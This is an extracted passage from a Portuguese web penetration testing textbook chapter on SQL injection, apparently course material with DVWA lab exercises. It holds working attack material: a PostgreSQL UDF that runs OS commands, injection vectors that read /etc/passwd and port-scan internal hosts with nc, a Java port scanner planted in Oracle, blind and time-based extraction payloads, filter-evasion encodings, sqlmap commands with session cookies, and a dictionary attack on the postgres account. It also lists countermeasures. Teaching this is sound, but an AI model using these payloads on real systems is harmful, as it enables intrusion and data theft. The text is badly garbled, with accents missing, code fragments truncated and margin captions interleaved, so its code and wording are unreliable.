vel, pois um bloco mgico deve estar presente em todas as bibliotecas compartilhadas para
que possam ser carregadas (Leidecker, 2007; Guimares, 2009). Portanto, esse requisito
deve ser devidamente atendido para que o ataque funcione corretamente.
O cdigo que ser usado como exemplo, mostrado parcialmente na Figura 6.44, tambm
obra de Bernardo Guimares e distribudo como software livre, por meio de licena GPL
Lesser General Public License. Essa biblioteca cria quatro funes, que podem ser utilizadas
para a execuo de programas de linha de comando e para a leitura de arquivos. Alm disso,
Captulo 6 - Injeo de SQL
possvel compil-la para ambientes Windows e Linux, tendo em mente que os cabealhos
e bibliotecas do PostgreSQL precisam estar instalados.
275
...
PG_FUNCTION_INFO_V1(sys_exec);
#ifdef PGDLLIMPORT
#else
#endif
int32 result = 0;
char *command;
command = text_ptr_to_char_ptr(argv0);
result = system(command);
free(command);
Figura 6.44
PG_FREE_IF_COPY(argv0, 0); Cdigo fonte da
funo sys_exec(),
PG_RETURN_INT32(result); que tem por
objetivo estender o
} PostgreSQL, permi-
tindo execuo de
... programas de linha
de comando.
lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so
Em seguida, o comando strip deve ser executado, para remoo dos smbolos e conse-
quente reduo do tamanho da biblioteca. O objetivo facilitar o envio para o servidor de
banco de dados, por meio da injeo de SQL (Guimares, 2009).
Teste de Invaso de Aplicaes Web
Para enviar o arquivo ao servidor, por se tratar de arquivo binrio, a tcnica baseada em
objetos grandes deve ser empregada. O aluno pode seguir, exatamente, os passos descritos
na seo de manipulao de arquivos e depositar a biblioteca no diretrio /tmp.
Na prxima etapa, as funes devem ser criadas no banco de dados, referenciando a biblio-
teca recm-copiada para o servidor:
276
; 8
Finalizando, o exemplo abaixo ilustra a exibio do arquivo /etc/passwd, por meio de uma
chamada a sys_eval() via injeo de SQL:
q
como benefcios,
a possibilidade
Essas funes podem ser divididas em duas classes, de acordo com o tipo do valor retornado:
de integrao de
programas escritos em 1 Escalar: devolve um valor de qualquer um dos tipos escalares do SQL Server, exceto
linguagens diversas, o
text, ntext, image e timestamp.
tratamento uniforme
de excees, um 1 Tabela: um conjunto de linhas, compostas por tipos escalares, devolvido. Por esse
modelo simplificado
Captulo 6 - Injeo de SQL
motivo, essa classe de funo pode ser empregada no lugar de vises, apresentando
de comunicao
entre componentes, a vantagem de ser parametrizada.
mecanismos de
De modo geral, em SQL Server, grande parte do que se deseja fazer, por meio de funes
segurana e controle
de verses. de usurio, j disponibilizada pelo extenso conjunto de procedimentos de sistema.
Se por um lado verdade que a maioria dessas rotinas est desabilitada por padro, desde
a verso 2005, por outro, se a conta de aplicao possui privilgios para criao de funes,
provavelmente, tem tambm o poder para ativar os procedimentos que necessitar.
277
Apesar do argumento acima, para a introduo da sintaxe de CREATE FUNCTION segue um
exemplo de funo de usurio bem simples, que compara dois valores numricos e retorna 1,
0 ou -1, se o primeiro argumento for maior, igual ou menor que o segundo, respectivamente.
@n2 bigint)
RETURNS int
BEGIN
SET @ret = 1;
SET @ret = 0;
ELSE
Figura 6.45
RETURN(@ret); Exemplo de funo
de usurio do
END tipo escalar para
SQL Server.
Oracle
H diversos mtodos que podem ser utilizados em Oracle para executar comandos no q
sistema operacional, os quais variam de acordo com a verso empregada. Um problema,
porm, que nenhum deles pode ser usado como expresso, o que, junto com a falta
de suporte a comandos empilhados, inviabiliza a explorao por meio de injeo de SQL
(Clarke, 2009).
278
Para superar essa dificuldade, necessrio encontrar uma rotina em PL/SQL que seja injet-
vel, mas, nesse caso, uma alternativa melhor consiste em aproveitar a vulnerabilidade para
criar e utilizar a funo de usurio, descrita na seo anterior.
PostgreSQL
PostgreSQL, assim como MySQL, no suporta nativamente a execuo de comandos no q
sistema operacional. A soluo para isso, igualmente, consiste na criao de uma funo
de usurio como aquela apresentada na seo anterior.
SQL Server
Pode-se dizer que o SQL Server, de todos os SGBDs, um dos que mais possuem proce- q
dimentos e funes embutidas para interao com o sistema operacional. Devido aos
diversos ataques que ocorreram, valendo-se dessa grande gama de rotinas, a partir
da verso 2005 boa parte delas passou a vir desativada, por padro, embora nenhuma
tenha sido excluda do pacote.
Quando usado em um ataque de injeo de SQL, para obter a sada do comando executado
necessrio direcionar a sada para um arquivo e, em seguida, extra-lo do servidor, por
meio da tcnica j discutida. Para melhor entender o mtodo, observe o prximo exemplo,
que visa descobrir as contas existentes no sistema operacional do servidor.
O ataque se inicia com a execuo do comando net1 user, que deve ter a sada enviada a
um arquivo:
for executado para a tabela final, contendo as duas colunas, o descritor precisa ser editado
para remoo da coluna de ordenao.
Embora seja factvel efetuar todos esses passos, por meio de um ataque de injeo de SQL,
a tarefa bastante rdua. Assim, pode-se recorrer a um truque, em que o arquivo de for-
mato gerado para uma tabela efmera, com apenas uma nica coluna e, depois, empre-
gado para a tabela final, com duas colunas:
279
; create table temp (data varchar(8000)); 8
(formatfile=c:\temp\format.txt)--
table temp--
Varredura de redes
muito comum, em cenrios reais, o SGBD residir em uma rede de servidores segregada q
das demais por meio de um firewall. Enquanto o acesso a partir de outras redes a esse
segmento controlado, dentro dele, normalmente, no h filtragem nenhuma. Nesse
contexto, injeo de SQL apresenta-se como uma ferramenta muito til, pois como o
cdigo injetado processado no SGBD, possvel acessar outros servidores presentes
na mesma sub-rede, sem nenhuma interferncia do firewall instalado.
Uma estratgia que pode ser adotada para a realizao desse teste:
1 Verificar, por meio do comando ping, se h um servidor ativo e responsivo para cada um
dos endereos da mesma rede.
1 Para cada servidor encontrado, testar as portas que desejar, por meio de uma conexo
via telnet, netcat ou mecanismo nativo do SGBD.
Note que, dependendo do tamanho da rede, impraticvel realizar essa tarefa manual-
mente, embora no seja difcil automatiz-la. Alm disso, observe que, no segundo passo, a
falta de resposta ao ping no implica, necessariamente, que no exista um servidor com o
endereo sendo testado; possvel, por motivos de segurana, que ele tenha sido configu-
rado para no responder a esse tipo de pacote.
Teste de Invaso de Aplicaes Web
MySQL
Para executar, em MySQL, a estratgia de varredura apresentada, necessrio utilizar a q
UDF, que permite invocar comandos do sistema operacional.
Os vetores que devem ser injetados nesse processo, a cada passo, decorrem naturalmente
do roteiro de teste.
280
and 1=2 union select null,null,replace(convert(sys_eval(ifconfig) 8
Os testes para deteco de outros servidores ativos devem ser realizados nas duas redes:
Figura 6.48 Os seguintes vetores podem ser empregados para verificar que o servidor 192.168.213.100
Resultado da est executando o SGBD Oracle (Figura 6.49) e no disponibiliza acesso via Telnet (Figura 6.50).
injeo, quando
o servidor encon-
trado e responde
ao ping.
281
Oracle:
Telnet:
Figura 6.49
and 1=2 union select null,null,replace(convert(sys_eval(nc -v -w 2 Oracle detecta-
do no servidor
8 192.168.213.100 23),char(8000)), \n, <BR>),null,null,null# 192.168.213.100.
q
disponvel.
Entre as alternativas disponveis esto o uso do pacote UTL_TCP, que permite realizar
conexes TCP, e a criao de uma funo de usurio em Java. Em ambos os casos,
necessrio encontrar uma vulnerabilidade em uma rotina escrita em PL/SQL que
permita realizar a injeo, da mesma maneira que nos exemplos de escalada de privil-
gios e manipulao de arquivos.
Nesse contexto, a Figura 6.51 apresenta um cdigo em Java para varredura de portas em um
nico endereo IP.
import java.net.Socket;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.lang.StringBuffer;
Teste de Invaso de Aplicaes Web
282
try {
return null;
sb.append(Ports on + ip + :\n);
try {
sb.append(Integer.toString(i) + \n);
socket.close();
} catch (Exception e) {
return sb.toString();
Aps executar a injeo do cdigo no banco de dados Oracle, deve-se criar a funo de
usurio correspondente:
get_domain_index_tables(a,b,, DBMS_OUTPUT.PUT(:P1); 8
EXECUTE IMMEDIATE 8
RETURN VARCHAR2 8
Captulo 6 - Injeo de SQL
AS LANGUAGE JAVA 8
java.lang.String; 8
;END;;END;--, 8
283
E conceder privilgio de execuo para todas as contas do banco:
get_domain_index_tables(a,b,, DBMS_OUTPUT.PUT(:P1); 8
;END;;END;--, 8
Terminado tudo isso, muito fcil efetuar uma varredura de portas em um ativo, utilizando
os recursos do servidor de banco de dados, conforme mostrado na Figura 6.52:
q
Resultado da
Os endereos IP do servidor PostgreSQL e do cliente conectado, no caso a aplicao, varredura de
podem ser descobertos por meio das funes inet _server_addr () e inet_client_addr(), portas no ativo
192.168.213.100.
respectivamente.
Se o servidor de aplicao estiver instalado junto com o SGBD, o retorno de ambas as funes
um valor nulo. Se no, retorna-se um valor do tipo inet, que pode ser convertido para texto,
empregando-se a funo host(). Um exemplo de como empreg-las em uma injeo de SQL:
As etapas de identificao de servidores e servios, por sua vez, podem ser cumpridas com
auxlio do mdulo dblink, o mesmo que se usa para testes de fora bruta e dicionrio contra
as contas do banco de dados. A tcnica consiste em tentar conectar-se a um endereo e
Teste de Invaso de Aplicaes Web
1 Servidor inativo: ERROR: could not establish connection DETAIL: could not connect to
server: No route to host Is the server running on host 192.168.213.150 and accepting TCP/IP
connections on port 22?
1 Porta fechada: ERROR: could not establish connection DETAIL: could not connect to server:
Connection refused Is the server running on host 192.168.213.100 and accepting TCP/IP
connections on port 23?
284
1 Porta aberta: ERROR: could not establish connection DETAIL: server closed the connection
unexpectedly This probably means the server terminated abnormally before or while
processing the request.
1 Porta aberta ou filtrada: ERROR: could not establish connection DETAIL: timeout expired.
Logo abaixo, encontra-se um exemplo do que injetar na aplicao para a realizao desses testes:
port=1521 connect_timeout=5)--
SQL Server
A descoberta do endereo IP do servidor SQL Server pode ser realizada invocando o q
programa ipconfig, por meio do procedimento estendido xp_cmdshell.
A sada do ipconfig deve ser direcionada para um arquivo, a partir do qual a informao
desejada extrada, empregando-se a tcnica baseada no comando BULK INSERT.
O vetor de teste abaixo representa um modelo do que deve ser injetado nesse tipo de teste:
DBMSSOCN; Address=192.168.213.100,1521;timeout=5,)--
Partio e balanceamento
A tcnica de partio e balanceamento, introduzida por Litchfield (2005), permite injetar q
consultas e expresses SQL, no meio de valores fornecidos aplicao, sem se preo-
cupar com o nmero de aspas e parnteses presentes no comando original.
importante salientar que expresses escritas desse jeito podem ser injetadas em qual- q
quer ponto de um comando, e essa a principal vantagem dessa tcnica.
285
select abc
select a + bc
select a + (select ) + bc
select a + (select b) + c
A tcnica tambm pode ser aplicada a valores numricos, como se v nos prximos exem-
plos, que resultam sempre no valor 10:
select 10
select 10 + 0
select 10 + (select 0)
Tcnica bsica
Considere uma aplicao cuja tela inicial pode ser observada na Figura 6.53, que possui
um nico campo de entrada, no qual possvel digitar parte do nome de um autor. Como
resposta a uma requisio, o sistema indica o nmero de artigos encontrados no acervo da
instituio que tenham sido escritos por pessoas cujos nomes contenham o texto informado
pelo usurio. Observe que os ttulos dos artigos no so apresentados pela aplicao como
resultado da pesquisa realizada.
Figura 6.53
Aplicao de exem-
Teste de Invaso de Aplicaes Web
Ao digitar uma aspa simples no campo e clicar em Contar artigos, a mensagem genrica q
Erro na execuo da consulta! exibida. Como se sabe, isso um indicativo de que a apli-
cao pode ser vulnervel injeo de SQL. De modo a confirmar o defeito e identificar o
SGBD utilizado, pode-se empregar a tcnica de partio e balanceamento para submeter
vetores especficos de cada sistema de banco de dados.
286
Aquele valor que no resultar em erro fornece as respostas desejadas, pois indica que o
dado foi entendido e processado pelo servidor.
1 MySQL: a
1 Oracle: a || bitand(1,1) ||
1 PostgreSQL: a || pg_sleep(5) ||
1 SQL Server: a +
No caso da aplicao de exemplo, somente o vetor de SQL Server injetado com sucesso e,
assim, todas as construes subsequentes devem ser feitas respeitando as especificidades
desse banco de dados.
A partir disso, razovel concluir que o SELECT construdo pelo sistema tem a forma:
De modo que autor like %a% avaliado como verdadeiro, para duas linhas da tabela, q
enquanto que autor like %abc% falso para todas. Tal constatao permite incluir
perguntas booleanas clusula WHERE, de duas maneiras distintas, com base na
primeira expresso:
a +
Para continuar o exemplo, vamos supor, agora, que se deseja descobrir a conta utilizada
pela aplicao para acessar o banco de dados.
287
O primeiro passo consiste na determinao do comprimento do identificador de usurio, q
que pode ser realizado perguntando se ele tem um tamanho especfico:
a% and len(system_user)=1--
0 artigo(s) encontrado(s)!
a% and len(system_user)=2--
0 artigo(s) encontrado(s)!
a% and len(system_user)=3--
2 artigo(s) encontrado(s)!
A ltima pergunta realizada a correta e indica que o tamanho do identificador igual a trs.
Continuando o processo, cada um desses trs caracteres deve, ento, ser comparado q
com os valores aceitos na composio de um nome de conta. A funo substring() deve
ser utilizada, nessa tarefa, para trabalhar os caracteres, de modo individual, enquanto a
funo lower() empregada para que apenas letras minsculas sejam consideradas.
a% and substring(lower(system_user),1,1)=a--
0 artigo(s) encontrado(s)!
a% and substring(lower(system_user),1,1)=b--
0 artigo(s) encontrado(s)!
a% and substring(lower(system_user),1,1)=c--
0 artigo(s) encontrado(s)!
a% and substring(lower(system_user),1,1)=d--
0 artigo(s) encontrado(s)!
a% and substring(lower(system_user),1,1)=e--
2 artigo(s) encontrado(s)!
como se v abaixo. Logo, a conta com a qual a aplicao se conecta ao banco de dados esr.
Segunda posio:
...
a% and substring(lower(system_user),2,1)=r--
0 artigo(s) encontrado(s)!
288
a% and substring(lower(system_user),2,1)=s--
2 artigo(s) encontrado(s)!
Terceira posio:
...
a% and substring(lower(system_user),3,1)=q--
0 artigo(s) encontrado(s)!
a% and substring(lower(system_user),3,1)=r--
2 artigo(s) encontrado(s)!
Uma rpida anlise do desempenho dessa tcnica pode ser feita com base no nmero
total de requisies que foram necessrias para recuperao do nome de conta. No caso,
para a primeira posio foram 5; para a segunda, 19, e, para a terceira, 18, totalizando 42
solicitaes. Supondo que cada caractere possa ser escolhido somente entre as letras do
alfabeto, em mdia devem ser efetuadas 13 requisies. Esse cenrio no ruim, porm,
se o dado for binrio, 256 valores so possveis e, com isso, o nmero mdio de requisies
aumenta para 128. Embora seja possvel paraleliz-las, elas representam um volume grande
de informaes sendo enviadas ao servidor, e, assim, necessrio encontrar uma alterna-
tiva melhor. Visando satisfazer esse objetivo, h duas abordagens que podem ser adotadas:
busca binria e mtodo bit-a-bit (Clarke, 2009).
Busca binria
A busca binria permite identificar o valor de um byte com o total de oito perguntas. q
A ideia bem simples e consiste em dividir o domnio de busca atual em duas metades e
determinar em qual delas o valor se encontra. Isso permite descartar, com uma per-
gunta, metade dos valores que restaram para pesquisa. O procedimento aplicado,
recursivamente, parte que contm o nmero procurado at que sobre uma partio
com um nico elemento.
Por exemplo, considere que o valor X que se deseja descobrir 65, que o cdigo ASCII da
letra A. Considerando que o domnio inicial compreende todos os valores entre 0 e 255, a
pergunta inicial feita com o nmero 127, que ocupa a mediana do intervalo. Todos os pas-
sos do teste podem ser examinados no roteiro abaixo:
1 X > 127? No, logo o nmero pertence ao intervalo [0..127], cuja mediana 63.
1 X > 63? Sim, logo o nmero pertence ao intervalo [64..127], cuja mediana 95.
1 X > 95? No, logo o nmero pertence ao intervalo [64..95], cuja mediana 79.
1 X > 79? No, logo o nmero pertence ao intervalo [64..79], cuja mediana 71.
1 X > 71? No, logo o nmero pertence ao intervalo [64..71], cuja mediana 67.
Captulo 6 - Injeo de SQL
1 X > 67? No, logo o nmero pertence ao intervalo [64..67], cuja mediana 65.
1 X > 65? No, logo o nmero pertence ao intervalo [64..65], cuja mediana 64.
1 X > 64? Sim, logo o nmero s pode ser 65, pois maior que 64 e menor ou igual a 65.
Para utilizar essa tcnica, com injeo de SQL s cegas, necessrio empregar a funo
ascii(), que devolve o cdigo ASCII do caractere passado como argumento. Considere o
exemplo anterior, usado para descobrir a conta de acesso ao banco de dados.
289
Ao aplicar a ele esse mtodo, o caractere na primeira posio, e (ASCII = 101), identificado
com as seguintes perguntas:
a% and ascii(substring(lower(system_user),1,1))>127--
a% and ascii(substring(lower(system_user),1,1))>63--
a% and ascii(substring(lower(system_user),1,1))>95--
a% and ascii(substring(lower(system_user),1,1))>111--
a% and ascii(substring(lower(system_user),1,1))>103--
a% and ascii(substring(lower(system_user),1,1))>99--
a% and ascii(substring(lower(system_user),1,1))>101--
a% and ascii(substring(lower(system_user),1,1))>100--
Fica evidente que essa tcnica bem mais eficiente que a anterior, pois requer apenas oito
requisies para recuperao de um byte, contra 128, da outra, no caso mdio. Apesar
disso, a busca binria apresenta uma pequena desvantagem, que a impossibilidade de
paralelizar as requisies, dada a dependncia existente entre elas.
Antes de encerrar este tpico, convm observar que a funo lower() no necessria para
essa tcnica e nem para a bit-a-bit, uma vez que todos os valores possveis de um byte so
considerados. No caso, ela foi mantida apenas para ficar consistente com o exemplo do
mtodo linear, no qual, realmente, o uso dela representa uma vantagem.
Mtodo bit-a-bit
O mtodo bit-a-bit tambm realiza apenas oito requisies para recuperar o valor de um q
byte, porm, tem a vantagem, sobre a busca binria, de poder ser paralelizado.
Teste de Invaso de Aplicaes Web
A tcnica consiste em extrair o valor de cada um dos bits do byte desejado por meio de um
AND bit-a-bit. Lembrando que o AND resulta em 1 somente quando ambos os operandos
forem 1. Para testar o valor do quinto bit do byte X, por exemplo, pode-se verificar a igual-
dade X and 32 = 32. Se, e somente se, ela for verdadeira, o bit testado est ligado.
290
Para ficar mais claro, vamos aplicar o mtodo ao exemplo anterior:
a% and ascii(substring(lower(system_user),1,1))&128=128--
a% and ascii(substring(lower(system_user),1,1))&64=64--
a% and ascii(substring(lower(system_user),1,1))&32=32--
a% and ascii(substring(lower(system_user),1,1))&16=16--
a% and ascii(substring(lower(system_user),1,1))&8=8--
a% and ascii(substring(lower(system_user),1,1))&4=4--
a% and ascii(substring(lower(system_user),1,1))&2=2--
a% and ascii(substring(lower(system_user),1,1))&1=1--
A partir das respostas obtidas, possvel escrever a sequncia de bits 01100101, que igual
ao valor decimal 101, conforme esperado.
Obviamente, o tempo de parada deve ser perceptvel, de modo a ser possvel discernir entre
os dois estados.
Esse mtodo pode ser usado tanto com a tcnica de busca binria quanto com a bit-a-bit, e,
de modo geral, melhor que os vetores sejam construdos por meio de partio e balan-
ceamento. O motivo disso que, algumas vezes, o ponto de injeo em aplicaes dessa
Captulo 6 - Injeo de SQL
natureza ocorre em comandos INSERT e, portanto, a pergunta deve ser includa como parte
da expresso sendo injetada, sem comentrio de final de linha. A falta desse cuidado gera
erro sinttico, fazendo com que o teste no seja efetuado com sucesso.
Para exemplificar, considere uma aplicao baseada em PostgreSQL e que o objetivo seja
extrair a conta utilizada para acesso ao banco de dados. Nesse cenrio, os seguintes valores
so injetados para a descoberta do primeiro byte, empregando a tcnica bit-a-bit:
291
a || (case ascii(substr(user,1,1)) & 128 when 128 then pg_sleep(5) 8
else end) ||
else end) ||
else end) ||
else end) ||
else end) ||
Com base nas injees que resultaram em pausa, obtm-se a sequncia de bits 01110000,
cujo valor decimal 112, o qual o cdigo ASCII da letra p. fcil observar, a partir da lista
acima, que a tcnica de partio e balanceamento, realmente, gera vetores mais longos.
Automao
Executar manualmente as tcnicas de injeo de SQL s cegas est longe de ser uma q
tarefa trivial, uma vez que cada requisio devolve, normalmente, apenas 1 bit de
informao. Consequentemente, a extrao de dados teis implica a realizao de vrios
milhares de requisies, no melhor caso.
O utilitrio sqlmap, j introduzido, tambm pode ser utilizado em ataques baseados em inje-
o de SQL s cegas. Para isso, nenhuma opo adicional precisa ser selecionada, embora seja
possvel especificar a tcnica que se deseja empregar, por meio da opo --technique=. Um
Teste de Invaso de Aplicaes Web
exemplo de uso, para extrao do nome do banco de dados, est mostrado na Figura 6.54.
292
$ sqlmap.py -u mssqlbi.esr.rnp.br --current-db --forms
http://sqlmap.sourceforge.net
...
master
Figura 6.54
Extrao do nome current database: master
do banco de dados,
usando a ferra-
menta sqlmap, com
tcnica de injeo [*] shutting down at: 17:25:47
de SQL s cegas.
A ferramenta Sqlninja distribuda sob licena GPLv2 e tem por objetivo explorar aplicaes
vulnerveis injeo de SQL, que utilizam o SQL Server como servidor de banco de dados.
Pode ser executada em plataformas Linux, FreeBSD e MacOS X, desde que um interpretador
Perl esteja instalado, alm de alguns mdulos especficos da linguagem. Permite realizar
diversos ataques, incluindo: deteco do SGBD; identificao da conta utilizada pela
aplicao; fora bruta contra a senha da conta sa; escalada de privilgios no SGBD e no
sistema operacional; criao de procedimento xp_cmdshell personalizado, para o caso do
original estar desabilitado; e envio de executveis, entre muitos outros.
293
~$ sqlninja -m f
1 - Database user
q - exit
> 0
> 1
Got it ! Length = 3
294
Exerccio de fixao 3 e
Ataque de injeo de SQL
Como possvel executar um ataque de injeo de SQL quando a aplicao no exibe o
resultado da consulta?
O problema somente surge porque o valor persistido utilizado em ocasio ulterior, sem
a sanitizao necessria. Considere uma aplicao que permite aos usurios registrarem
novas contas, e que um filtro est instalado nas telas de autenticao e de cadastro, de
modo a duplicar toda aspa encontrada no identificador de usurio (Anley, 2002a). O objetivo
disso, segundo o inocente desenvolvedor, evitar ataques de injeo de SQL, iniciados com
aspa simples, e, ao mesmo tempo, permitir que sejam utilizadas contas para nomes, como
OReilly e OConnor.
.$senha.)
Tal que $userid e $senha so variveis contendo valores fornecidos pelo usurio na tela de
cadastro. Imagine que o usurio entre, respectivamente, com os textos admin-- e senha.
Isso faz com que o seguinte comando seja executado:
O qual cria uma conta com identificador exatamente igual ao valor escolhido pelo usurio,
uma vez que o servidor de banco de dados interpreta as aspas duplicadas como uma s.
A aplicao em foco permite que usurios autenticados troquem a senha da prpria conta
sem terem de digitar a senha atual novamente. Alm disso, o identificador de usurio
Captulo 6 - Injeo de SQL
empregado pelo comando UPDATE, que realiza a operao de troca, obtido a partir do
objeto de sesso e utilizado, sem ser tratado, como nas demais rotinas.
Supondo que o usurio admin-- esteja autenticado e realize a troca de senha para o valor
dificil, o seguinte comando ser executado pelo servidor:
295
Note que, como a aspa no duplicada nesse processo, ela balanceia a aspa que delimita o
nome de usurio, enquanto o -- trata de comentar o restante da linha. O resultado dessa
injeo de segunda ordem resume-se na troca da senha da conta admin, se ela existir, sem
que seja necessrio conhecer a senha atual dela.
Ferramentas automatizadas apresentam uma enorme dificuldade para encontrar esse tipo
de vulnerabilidade, conforme pode ser constatado pelo estudo de Doup et al. (2010). Mesmo
testes manuais podem enfrentar obstculos na localizao do defeito porque, na maioria das
vezes, difcil disparar o vetor injetado, principalmente, quando o processo ocorre s cegas.
Apesar de reconhecer o trabalho que descobrir injees de SQL de segunda ordem, Clarke
(2009) prope um mtodo, para realizar a tarefa, que consiste nos seguintes passos:
1. Durante a fase de mapeamento da aplicao, identifique todos os dados que podem ser
controlados pelo usurio e que so armazenados no banco de dados.
2. Para cada um deles, fornea um valor, como aspa simples, por exemplo, que possa causar
um problema se utilizado em um comando SQL.
3. Navegue por toda a aplicao, visitando lugares em que o valor possa ser usado explcita
ou implicitamente, e observe se algum comportamento anmalo pode ser detectado.
4. Para cada potencial problema encontrado, tente criar uma prova de conceito que possa
ser usada para comprovar a vulnerabilidade.
Evaso de filtros
Algumas aplicaes utilizam filtros para bloquear entradas maliciosas ou para alter-las, q
de modo que no possam ser utilizadas em ataques. Muitas vezes, eles no so empre-
gados com o propsito de propiciar defesa em camadas, mas, sim, de contornar vulne-
rabilidades presentes na aplicao (Clarke, 2009). Nesses casos, se o atacante consegue
evadir os filtros instalados, o sistema pode ser explorado, normalmente.
Nos exemplos abaixo, observe as tcnicas de evaso que podem ser empregadas em cada
um dos casos:
select/**/username/**/from/**/v$session
Exemplo:
sElEcT @@version
1 Remoo, em uma nica passagem, das palavras utilizadas em SQL que estejam
contidas nos dados fornecidos pelo usurio: a quebra desse filtro pode ser realizada
por meio da escrita aninhada das palavras, que so consideradas pelo controle.
Exemplo:
selselectect @@version
296
1 Bloqueio de aspas: a soluo, nesse caso, consiste em utilizar concatenao de carac-
teres, conforme sintaxe do SGBD empregado. Exemplo:
select concat(char(65),char(66),char(67))
%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%6e%75%6c%6c%2
c%6e%75%6c%6c%20%66%72%6f%6d%20%64%75%61%6c%2d%2d
Contramedidas
Para evitar que aplicaes web sejam vulnerveis a ataques de injeo de SQL, os q
seguintes controles devem ser adotados nos processos de desenvolvimento e de implan-
tao (Howard et al., 2005; Clarke, 2009; Stuttard e Pinto, 2007):
1 Considere que toda informao fornecida por usurios maliciosa e, assim, antes de
process-la, verifique se ela est de acordo com valores reconhecidamente vlidos para
o campo ou parmetro. importante mencionar que essa abordagem superior ao uso
de listas negras, pois, dificilmente, possvel enumerar todas as entradas perniciosas
possveis. Complementarmente, restrinja o tamanho do campo ao mximo permitido.
1 Capture todos os erros de execuo e fornea apenas mensagens tratadas aos usu-
rios, isto , no exiba erros contendo comandos SQL, pilhas de execuo e cdigos
especficos de plataforma.
Captulo 6 - Injeo de SQL
1 Utilize na aplicao uma conta para acesso ao banco de dados com os mnimos
privilgios necessrios execuo das tarefas. Nunca use contas com privilgios Data
DDL Definition Language (DDL) e, muito menos, contas administrativas. Se isso no for
Compreende o respeitado, a extenso do dano, em caso de ataque bem-sucedido, poder ser muito
subconjunto de
maior, uma vez que o atacante ser capaz de remover, incluir e alterar objetos estru-
comandos SQL,
utilizados na criao, turais, como tabelas e ndices, por exemplo.
alterao e remoo
de objetos de um
banco de dados.
297
1 Realize o robustecimento do servidor de banco de dados eliminando objetos, usu- q
rios e privilgios desnecessrios. Por exemplo, em verses mais antigas de Oracle,
muitos pacotes vinham com privilgio de execuo concedido para PUBLIC por
padro, isto , podiam ser acessados por qualquer conta do banco. Assim como no
item acima, a ideia desse controle diminuir a extenso do dano, caso as linhas de
defesa falhem, sempre pensando em defesa em camadas.
Exerccio de fixao 4 e
Stored procedures
Muitos afirmam que a soluo contra injeo de SQL consiste no uso de stored procedures.
Isso verdade?
Teste de Invaso de Aplicaes Web
298
Roteiro de Atividades 6
Atividade 1 Especificidades de SGBDs
Esta atividade tem por objetivo ilustrar as diferenas apresentadas por alguns sistemas
gerenciadores de banco de dados. Para inici-la, carregue as mquinas virtuais do aluno e
do servidor (Fedora) e execute os roteiros na primeira delas.
Empilhamento de comandos
~$ ssh esruser@192.168.213.200
~$ ssh esruser@192.168.213.200
Comando de pausa
Neste exerccio, sero estudados os comandos de pausa fornecidos pelos SGBDs.
299
Manipulao de caracteres e de cadeias de caracteres
O objetivo dessa prtica utilizar as funes e os operadores de manipulao de cadeias
de caracteres.
Testes bsicos
Este exerccio e a maioria dos que seguem neste captulo sero realizados sobre a aplicao
DVWA, criada para permitir que desenvolvedores, profissionais de segurana e estudantes
aprendam sobre as vulnerabilidades que podem afetar aplicaes web. Este primeiro roteiro
engloba os testes bsicos de injeo de SQL.
5. Digite uma aspa simples no campo User ID e clique em Submit. O que acontece? Alguma
informao interessante para um teste de invaso exibida?
300
7. Digite or 1=1-- no campo User ID e clique em Submit. Por que o erro acontece?
Observe que a requisio foi executada com sucesso, o que indica que a consulta realizada
possui duas colunas.
order by 1#
Conforme esperado, nenhum erro acontece, uma vez que h duas colunas.
12. Repita o teste para duas colunas e verifique se algum erro acontece:
order by 2#
13. Execute o mesmo teste para trs colunas e diga se o que acontece coerente com o esperado:
order by 3#
301
Identificao do servidor de banco de dados
Apesar de j se saber o servidor de banco de dados utilizado, graas s mensagens de erro
e ao tipo de comentrio utilizado, neste exerccio o leitor ratificar a informao e coletar
outras mais acerca do banco de dados.
1. Na aplicao DVWA, na mesma pgina, digite o texto abaixo, para descobrir a verso, e
clique em Submit:
2. Verifique a conta que a aplicao utiliza para acessar o banco de dados, fornecendo:
4. Repita o processo utilizando o sqlmap. Para isso, inicie uma janela de terminal.
~$ sqlmap.py -h
6. Como a pgina vulnervel do DVWA s acessvel por uma sesso autenticada, necessrio
obter o cookie definido pela aplicao. No Firefox, no menu Tools, selecione Cookie Editor.
10. A partir da URL e dos cookies coletados, monte um comando semelhante ao abaixo apre-
sentado, para identificar o banco de dados utilizado:
~$ sqlmap.py -u http://dvwa.esr.rnp.br/vulnerabilities/sqli/? 8
id=a&Submit=Submit#" --cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1
sc24;8
security=low" -f
11. Pressione Enter para a pergunta GET parameter id is vulnerable. Do you want to keep testing
the others? [y/N].
13. Repita o passo 10, substituindo a opo -f por -b, para captura do banner do SGBD:
~$ sqlmap.py -u http://dvwa.esr.rnp.br/vulnerabilities/sqli/? 8
id=a&Submit=Submit#" --cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1sc24;8
security=low" -b
302
14. Para descobrir o usurio corrente, troque a opo -b por --current-user:
~$ sqlmap.py -u http://dvwa.esr.rnp.br/vulnerabilities/sqli/? 8
id=a&Submit=Submit#" --cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1
sc24;8
security=low" --current-user
15. Finalmente, substitua a opo --current-user por --current-db para identificar o banco de
dados utilizado pela aplicao:
~$ sqlmap.py -u http://dvwa.esr.rnp.br/vulnerabilities/sqli/? 8
id=a&Submit=Submit#" --cookie="PHPSESSID=v9aqm8gvkljvpqiuavkaa1
sc24;8
security=low" --current-db
Escalada de privilgios
A proposta deste exerccio conseguir acesso mais privilegiado que o proporcionado pela
conta utilizada pela aplicao. Para isso, um ataque de dicionrio contra a conta administra-
tiva do PostgreSQL ser efetuado.
2. Acesse http://pgsqli.esr.rnp.br/escalada.php.
3. Digite uma aspa simples no campo Termos e clique em Buscar Artigos. A aplicao exibe
informaes sobre o banco de dados utilizado? Anote todas as informaes relevantes.
4. Com o campo Termos vazio, clique em Buscar Artigos. Correlacione os nomes de colunas
descobertos no passo 3 com as exibidas pela consulta e infira o tipo de cada uma delas.
6. Suponha que se saiba da existncia de uma tabela chamada books, cujas colunas so id,
author e title. Tente extrair o contedo dela por meio da tcnica UNION:
7. De modo a conseguir extrair informaes das tabelas do banco, dentre as quais a books,
Captulo 6 - Roteiro de Atividades
necessrio escalar os privilgios da conta de acesso atual. Para isso, realize um ataque
de dicionrio contra a conta postgres, iniciando com a senha password:
k text)--
303
8. Repita o passo 7, com a senha postgres:
k text)--
9. Utilize o prprio dblink para extrair a tabela books, usando as credenciais administrativas:
